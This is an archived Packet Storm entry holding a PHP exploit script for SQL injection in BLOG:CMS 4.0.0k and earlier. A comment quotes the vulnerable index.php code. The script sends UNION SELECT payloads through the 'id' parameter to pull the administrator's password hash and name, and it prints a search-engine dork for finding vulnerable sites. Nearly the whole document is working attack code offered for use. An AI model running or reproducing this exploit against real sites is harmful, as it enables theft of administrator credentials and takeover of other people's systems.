BLOG_CMS-xpl.txt

2006-06-29T00:00:00
ID PACKETSTORM:47873
Type packetstorm
Reporter rgod
Modified 2006-06-29T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "BLOG:CMS <= 4.0.0k sql injection/admin credentials disclosure exploit\n";  
echo "by rgod rgod@autistici.org\n";  
echo "site: http://retrogod.altervista.org\n";  
echo "dork: \"Powered by BLOG:CMS\"|\"Powered by blogcms.com\"|\"2003-2004, Radek Hulán\"\n\n";  
  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." host path OPTIONS\n";  
echo "host: target server (ip/hostname)\n";  
echo "path: path to BLOG:CMS\n";  
echo "Options:\n";  
echo " -p[port]: specify a port other than 80\n";  
echo " -P[ip:port]: specify a proxy\n";  
echo " -T[prefix]: specify a table prefix (default: none)\n";  
echo "Example:\n";  
echo "php ".$argv[0]." localhost /blog/\n";  
die;  
}  
/* software site: http://blogcms.com/  
  
i) vulnerable code in index.php, lines 19-36:  
  
...  
// NP_SEO plugin redirect  
if (isset($_GET['id'])){  
$query=sql_query("select url from ".sql_table("plug_seo")." where id='".undoMagic($_GET['id'])."'");  
if ($row=sql_fetch_object($query)) {  
$row->url=stripslashes($row->url);  
$redirect=true;  
if (strpos($row->url,'|noseo|')!==false) {  
$arr=explode(",",'msnbot,googlebot,crawler,centrum');  
foreach ($arr as $s) if (strstr($_SERVER["HTTP_USER_AGENT"],$s)) $redirect=false;  
$arr=explode(",",'downloader.seznam,inktomi,yahoo,altavista,fasttrack,excite,hotbot,alltheweb,yahoo');  
$dns = strtolower(@gethostbyaddr($_SERVER["REMOTE_ADDR"]));  
foreach ($arr as $s) if (strstr($dns,$s)) $redirect=false;  
$row->url=str_replace('|noseo|','',$row->url);  
}  
if ($redirect) header('Location: '.unhtmlentities($row->url));  
}  
unset($query);  
}  
...  
  
"id" argument is not sanitized before to be used in a sql query...  
also you can inject sql statements regardless of magic_quotes_gpc settings,  
look at undoMagic() function in vars4.1.0.php:  
  
// removes magic quotes if that option is enabled  
function undoMagic($data) {  
return get_magic_quotes_gpc() ? stripslashes($data) : $data;  
}  
  
very nice code :)  
*/  
  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
$prefix="";  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
if ($temp=="-T")  
{  
$prefix=str_replace("-T","",$argv[$i]);  
}  
}  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
$sql="9999999'/**/UNION/**/SELECT/**/mpassword/**/FROM/**/".$prefix."nucleus_member/**/WHERE/**/mnumber=1/*"; //id = 2, admin  
$sql=urlencode($sql);  
$packet ="GET ".$p."?id=$sql HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
$temp=explode("Location: ",$html);  
$temp2=explode("\n",$temp[1]);  
$temp2[0]=trim($temp2[0]);  
if (($temp2[0]<>"") and (!strstr($temp2[0],"http")) and (!strstr($temp2[0],"UNION")))  
{  
if (strlen($temp2[0])==40) {$type="sha1";}  
if (strlen($temp2[0])==32) {$type="md5";}  
echo "exploit succeded...\n";  
echo "password (".$type.")-> ".$temp2[0]."\n";  
$sql="9999999'/**/UNION/**/SELECT/**/mrealname/**/FROM/**/".$prefix."nucleus_member/**/WHERE mnumber=1/*";  
$sql=urlencode($sql);  
$packet ="GET ".$p."?id=$sql HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
$temp=explode("Location: ",$html);  
$temp2=explode("\n",$temp[1]);  
echo "admin -> ".$temp2[0]."\n";  
}  
else  
{  
//debug  
echo $html."\r\n";  
echo "exploit failed... see html\n";  
}  
?>  
  
original url: http://retrogod.altervista.org/blogcms_400k_sql.html  
`